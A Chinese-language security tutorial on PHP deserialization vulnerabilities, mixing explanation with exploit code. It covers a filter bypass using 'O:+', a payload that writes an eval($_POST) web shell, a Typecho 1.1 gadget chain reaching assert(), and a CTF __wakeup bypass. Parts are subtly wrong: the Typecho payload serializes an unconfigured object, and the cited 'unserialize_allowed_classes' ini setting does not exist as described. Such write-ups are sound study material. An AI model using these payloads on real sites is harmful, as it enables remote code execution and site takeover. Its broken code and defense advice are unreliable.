[红日安全]代码审计Day11 - unserialize反序列化漏洞
字数 1358 2025-08-18 11:37:37
PHP反序列化漏洞深入分析与利用
1. 反序列化基础概念
PHP反序列化是将序列化的字符串还原为PHP变量或对象的过程。当攻击者能够控制反序列化的输入时,就可能利用这一特性执行恶意操作。
1.1 序列化格式
PHP序列化支持以下几种数据类型:
- String
- Integer
- Boolean
- Null
- Array
- Object
示例序列化字符串:
O:8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}
2. 反序列化漏洞原理
2.1 漏洞触发条件
- 存在
unserialize()函数且参数可控 - 存在可被利用的魔术方法
- 存在可利用的危险函数调用链
2.2 关键魔术方法
| 魔术方法 | 触发条件 |
|---|---|
__wakeup() |
使用unserialize时触发 |
__sleep() |
使用serialize时触发 |
__destruct() |
对象被销毁时触发 |
__call() |
在对象上下文中调用不可访问的方法时触发 |
__get() |
从不可访问的属性读取数据时触发 |
__toString() |
把类当作字符串使用时触发 |
3. 漏洞利用技术
3.1 绕过过滤检测
原始代码中的过滤:
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
绕过方法:
- 使用数组包裹对象:
a:1:{i:0;O:8:"Template"...} - 在对象序列化字符串中添加
+号:O:+8:"Template"...
PHP源码分析:
- 在
var_unserializer.c中,O:后面可以跟+号 yy17函数允许O:+数字的格式
3.2 实际利用案例
案例1:文件写入
class Template {
public $cacheFile;
public $template;
public function __destruct() {
file_put_contents($this->cacheFile, $this->template);
}
}
// 构造payload
$payload = new Template();
$payload->cacheFile = './shell.php';
$payload->template = '<?php eval($_POST[cmd]);?>';
echo serialize($payload);
案例2:Typecho 1.1反序列化漏洞
利用链:
- 反序列化触发
Typecho_Feed的__toString() - 触发
Typecho_Request的__get() - 通过
array_map()或call_user_func()执行任意代码
关键代码:
// Typecho_Request中的__get方法
public function __get($key) {
return $this->get($key);
}
public function get($key, $default = NULL) {
$value = isset($this->_params[$key]) ? $this->_params[$key] : $default;
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
protected function _applyFilter($value) {
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) : $filter($value);
}
$this->_filter = array();
}
return $value;
}
构造payload:
$chain = [
'adapter' => new Typecho_Feed(), // 触发__toString
'prefix' => 'typecho_'
];
// 设置Typecho_Feed的属性
$feed = new Typecho_Feed();
$feed->_type = 'RSS 2.0';
$feed->_items = [
[
'author' => new Typecho_Request() // 触发__get
]
];
// 设置Typecho_Request的属性
$request = new Typecho_Request();
$request->_params = ['screenName' => 'phpinfo()'];
$request->_filter = ['assert'];
echo serialize($chain);
4. 防御措施
-
输入验证:
- 不要反序列化不可信的输入
- 使用JSON等更安全的格式传递数据
-
代码层面:
// 安装完成后禁用install.php if (file_exists(dirname(__FILE__) . '/config.inc.php')) { exit('Access Denied'); } -
PHP配置:
- 使用
unserialize_callback_func设置回调函数 - 限制可反序列化的类:
ini_set('unserialize_allowed_classes', 'allowed_class1,allowed_class2');
- 使用
-
魔术方法安全:
- 避免在魔术方法中执行危险操作
- 对魔术方法中的参数进行严格过滤
5. CTF题目分析
题目代码关键点:
class HITCON {
// ...
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
// ...
}
}
class SoFun {
public $file='index.php';
function __destruct() {
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup() {
$this->file = 'index.php';
}
}
利用思路:
- 通过
SoFun类的__destruct方法包含任意文件 - 绕过
__wakeup的重置(使用CVE-2016-7124,当对象属性个数大于实际个数时跳过__wakeup) - 构造payload读取flag.php
示例payload:
$payload = new SoFun();
$payload->file = 'flag.php';
echo serialize($payload);
// 修改属性数量绕过__wakeup
// O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}
6. 总结
PHP反序列化漏洞利用的关键点:
- 找到可控的反序列化入口点
- 分析可利用的魔术方法链
- 构造合适的对象属性触发危险操作
- 绕过可能的过滤和限制
防御要点:
- 避免反序列化用户输入
- 对必须的反序列化操作进行严格过滤
- 审查项目中的魔术方法实现
- 保持PHP版本更新,修复已知漏洞